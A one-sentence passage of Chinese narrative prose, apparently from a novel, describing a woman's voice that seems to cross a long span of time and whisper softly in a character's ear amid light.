伴随着光芒,那道女声仿佛跨越了漫长的时间,来到她的耳畔,轻柔低语。